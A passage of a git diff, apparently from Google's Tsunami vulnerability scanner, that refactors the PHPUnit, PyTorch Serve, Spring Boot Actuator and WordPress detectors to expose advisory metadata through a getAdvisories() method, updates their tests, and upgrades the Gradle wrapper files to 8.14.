%DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/phpunit/src/main/java/com/google/tsunami/plugins/detectors/exposedui/phpunit/PHPUnitExposedEvalStdinDetector.java b/google/detectors/exposedui/phpunit/src/main/java/com/google/tsunami/plugins/detectors/exposedui/phpunit/PHPUnitExposedEvalStdinDetector.java index 47c05e497..88076cc7e 100644 --- a/google/detectors/exposedui/phpunit/src/main/java/com/google/tsunami/plugins/detectors/exposedui/phpunit/PHPUnitExposedEvalStdinDetector.java +++ b/google/detectors/exposedui/phpunit/src/main/java/com/google/tsunami/plugins/detectors/exposedui/phpunit/PHPUnitExposedEvalStdinDetector.java @@ -85,6 +85,30 @@ public final class PHPUnitExposedEvalStdinDetector implements VulnDetector { this.scriptPaths = checkNotNull(scriptPaths); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("EXPOSED_PHPUNIT_EVAL_STDIN")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2017-9841")) + .setTitle("CVE-2017-9841: Exposed Vulnerable eval-stdin.php in PHPUnit") + .setDescription( + "CVE-2017-9841: For vulnerable versions of PHPUnit, its eval-stdin.php script" + + " allows RCE via a POST request payload.") + .setRecommendation("Remove the PHPUnit module or upgrade to the latest version.") + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setTextData( + TextData.newBuilder() + .setText("Vulnerable endpoint: " + EVAL_STDIN_SCRIPT_PATH))) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -138,23 +162,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("EXPOSED_PHPUNIT_EVAL_STDIN")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2017-9841: Exposed Vulnerable eval-stdin.php in PHPUnit") - .setDescription( - "CVE-2017-9841: For vulnerable versions of PHPUnit, its eval-stdin.php script" - + " allows RCE via a POST request payload.") - .setRecommendation("Remove the PHPUnit module or upgrade to the latest version.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText("Vulnerable endpoint: " + EVAL_STDIN_SCRIPT_PATH)))) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/exposedui/phpunit/src/test/java/com/google/tsunami/plugins/detectors/exposedui/phpunit/PHPUnitExposedEvalStdinDetectorTest.java b/google/detectors/exposedui/phpunit/src/test/java/com/google/tsunami/plugins/detectors/exposedui/phpunit/PHPUnitExposedEvalStdinDetectorTest.java index 4c152c5c5..1cf3cbd1a 100644 --- a/google/detectors/exposedui/phpunit/src/test/java/com/google/tsunami/plugins/detectors/exposedui/phpunit/PHPUnitExposedEvalStdinDetectorTest.java +++ b/google/detectors/exposedui/phpunit/src/test/java/com/google/tsunami/plugins/detectors/exposedui/phpunit/PHPUnitExposedEvalStdinDetectorTest.java @@ -176,6 +176,10 @@ private void verifyVulnerabilityReport( VulnerabilityId.newBuilder() .setPublisher("GOOGLE") .setValue("EXPOSED_PHPUNIT_EVAL_STDIN")) + .addRelatedId( + VulnerabilityId.newBuilder() + .setPublisher("CVE") + .setValue("CVE-2017-9841")) .setSeverity(Severity.CRITICAL) .setTitle("CVE-2017-9841: Exposed Vulnerable eval-stdin.php in PHPUnit") .setDescription( diff --git a/google/detectors/exposedui/pytorch_serve/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/pytorch_serve/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/pytorch_serve/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/pytorch_serve/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/pytorch_serve/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/pytorch_serve/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/pytorch_serve/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/pytorch_serve/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/pytorch_serve/gradlew b/google/detectors/exposedui/pytorch_serve/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/pytorch_serve/gradlew +++ b/google/detectors/exposedui/pytorch_serve/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/pytorch_serve/gradlew.bat b/google/detectors/exposedui/pytorch_serve/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/pytorch_serve/gradlew.bat +++ b/google/detectors/exposedui/pytorch_serve/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/pytorch_serve/src/main/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetector.java b/google/detectors/exposedui/pytorch_serve/src/main/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetector.java index c64fd5cdc..ce572f040 100644 --- a/google/detectors/exposedui/pytorch_serve/src/main/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetector.java +++ b/google/detectors/exposedui/pytorch_serve/src/main/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetector.java @@ -89,6 +89,21 @@ public final class PytorchServeExposedApiDetector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(Severity.CRITICAL) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULN_DESCRIPTION) + .setRecommendation(RECOMMENDATION) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -148,16 +163,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULN_DESCRIPTION) - .setRecommendation(RECOMMENDATION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/exposedui/pytorch_serve/src/test/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetectorTest.java b/google/detectors/exposedui/pytorch_serve/src/test/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetectorTest.java index 70a365771..e7161e0b1 100644 --- a/google/detectors/exposedui/pytorch_serve/src/test/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetectorTest.java +++ b/google/detectors/exposedui/pytorch_serve/src/test/java/com/google/tsunami/plugins/detectors/exposedui/pytorchserve/PytorchServeExposedApiDetectorTest.java @@ -17,11 +17,6 @@ import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.exposedui.pytorchserve.PytorchServeExposedApiDetector.RECOMMENDATION; -import static com.google.tsunami.plugins.detectors.exposedui.pytorchserve.PytorchServeExposedApiDetector.VULNERABILITY_REPORT_ID; -import static com.google.tsunami.plugins.detectors.exposedui.pytorchserve.PytorchServeExposedApiDetector.VULNERABILITY_REPORT_PUBLISHER; -import static com.google.tsunami.plugins.detectors.exposedui.pytorchserve.PytorchServeExposedApiDetector.VULNERABILITY_REPORT_TITLE; -import static com.google.tsunami.plugins.detectors.exposedui.pytorchserve.PytorchServeExposedApiDetector.VULN_DESCRIPTION; import com.google.common.collect.ImmutableList; import com.google.inject.Guice; @@ -36,10 +31,7 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.security.SecureRandom; import java.time.Instant; @@ -126,16 +118,7 @@ public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULN_DESCRIPTION) - .setRecommendation(RECOMMENDATION)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/exposedui/spring/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/spring/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/spring/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/spring/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/spring/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/spring/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/spring/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/spring/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/spring/gradlew b/google/detectors/exposedui/spring/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/spring/gradlew +++ b/google/detectors/exposedui/spring/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/spring/gradlew.bat b/google/detectors/exposedui/spring/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/spring/gradlew.bat +++ b/google/detectors/exposedui/spring/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/spring/src/main/java/com/google/tsunami/plugins/detectors/exposedui/spring/SpringBootExposedEndpointDetector.java b/google/detectors/exposedui/spring/src/main/java/com/google/tsunami/plugins/detectors/exposedui/spring/SpringBootExposedEndpointDetector.java index 05cf481be..d069d1cf0 100644 --- a/google/detectors/exposedui/spring/src/main/java/com/google/tsunami/plugins/detectors/exposedui/spring/SpringBootExposedEndpointDetector.java +++ b/google/detectors/exposedui/spring/src/main/java/com/google/tsunami/plugins/detectors/exposedui/spring/SpringBootExposedEndpointDetector.java @@ -98,6 +98,31 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(AdditionalDetail.getDefaultInstance())); + } + + Vulnerability getAdvisory(AdditionalDetail details) { + return Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("EXPOSED_SPRING_BOOT_ACTUATOR_ENDPOINT")) + .setSeverity(Severity.CRITICAL) + .setTitle("Exposed Spring Boot Actuator Endpoint") + .setDescription( + "Spring Boot applications have several built-in Actuator endpoints enabled by" + + " default. For example, '/env' endpoint exposes all properties from" + + " Spring's ConfigurableEnvironment including system environment" + + " variables, and '/heapdump' will dump the entire memory of the server" + + " into a file. Exposing these endpoints could potentially leak sensitive" + + " information to any unauthenticated users.") + .setRecommendation("Disable public access to Actuator endpoints.") + .addAdditionalDetails(details) + .build(); + } + private EndpointProbingResult checkEndpointForNetworkService(NetworkService networkService) { String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); // Generate all potential heapdump URLs to check from the application root url. @@ -178,23 +203,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(endpointProbingResult.networkService()) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("EXPOSED_SPRING_BOOT_ACTUATOR_ENDPOINT")) - .setSeverity(Severity.CRITICAL) - .setTitle("Exposed Spring Boot Actuator Endpoint") - .setDescription( - "Spring Boot applications have several built-in Actuator endpoints enabled by" - + " default. For example, '/env' endpoint exposes all properties from" - + " Spring's ConfigurableEnvironment including system environment" - + " variables, and '/heapdump' will dump the entire memory of the server" - + " into a file. Exposing these endpoints could potentially leak sensitive" - + " information to any unauthenticated users.") - .setRecommendation("Disable public access to Actuator endpoints.") - .addAdditionalDetails(buildAdditionalDetail(endpointProbingResult))) + .setVulnerability(getAdvisory(buildAdditionalDetail(endpointProbingResult))) .build(); } @@ -219,8 +228,11 @@ static final class Configs { @AutoValue abstract static class EndpointProbingResult { abstract boolean isVulnerable(); + abstract NetworkService networkService(); + abstract Optional vulnerableEndpoint(); + abstract Optional vulnerableEndpointResponse(); static Builder builder() { @@ -234,8 +246,11 @@ static EndpointProbingResult invulnerableForNetworkService(NetworkService networ @AutoValue.Builder abstract static class Builder { abstract Builder setIsVulnerable(boolean value); + abstract Builder setNetworkService(NetworkService value); + abstract Builder setVulnerableEndpoint(String value); + abstract Builder setVulnerableEndpointResponse(HttpResponse value); abstract EndpointProbingResult build(); diff --git a/google/detectors/exposedui/spring/src/test/java/com/google/tsunami/plugins/detectors/exposedui/spring/SpringBootExposedEndpointDetectorTest.java b/google/detectors/exposedui/spring/src/test/java/com/google/tsunami/plugins/detectors/exposedui/spring/SpringBootExposedEndpointDetectorTest.java index d6c95687a..25efa1063 100644 --- a/google/detectors/exposedui/spring/src/test/java/com/google/tsunami/plugins/detectors/exposedui/spring/SpringBootExposedEndpointDetectorTest.java +++ b/google/detectors/exposedui/spring/src/test/java/com/google/tsunami/plugins/detectors/exposedui/spring/SpringBootExposedEndpointDetectorTest.java @@ -36,12 +36,9 @@ import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; import com.google.tsunami.proto.ServiceContext; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import com.google.tsunami.proto.WebServiceContext; import java.io.IOException; import java.time.Instant; @@ -191,30 +188,15 @@ public void detect_whenNetworkServiceVulnerable_returnsExpectedDetectionReport() .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("EXPOSED_SPRING_BOOT_ACTUATOR_ENDPOINT")) - .setSeverity(Severity.CRITICAL) - .setTitle("Exposed Spring Boot Actuator Endpoint") - .setDescription( - "Spring Boot applications have several built-in Actuator endpoints" - + " enabled by default. For example, '/env' endpoint exposes all" - + " properties from Spring's ConfigurableEnvironment including" - + " system environment variables, and '/heapdump' will dump the" - + " entire memory of the server into a file. Exposing these" - + " endpoints could potentially leak sensitive information to any" - + " unauthenticated users.") - .setRecommendation("Disable public access to Actuator endpoints.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - String.format( - "Vulnerable endpoint: '%s'", - mockWebServer.url("/actuator/heapdump")))))) + detector.getAdvisory( + AdditionalDetail.newBuilder() + .setTextData( + TextData.newBuilder() + .setText( + String.format( + "Vulnerable endpoint: '%s'", + mockWebServer.url("/actuator/heapdump")))) + .build())) .build()); } diff --git a/google/detectors/exposedui/wordpress/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/wordpress/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/wordpress/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/wordpress/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/wordpress/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/wordpress/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/wordpress/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/wordpress/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/wordpress/gradlew b/google/detectors/exposedui/wordpress/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/wordpress/gradlew +++ b/google/detectors/exposedui/wordpress/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/wordpress/gradlew.bat b/google/detectors/exposedui/wordpress/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/wordpress/gradlew.bat +++ b/google/detectors/exposedui/wordpress/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of 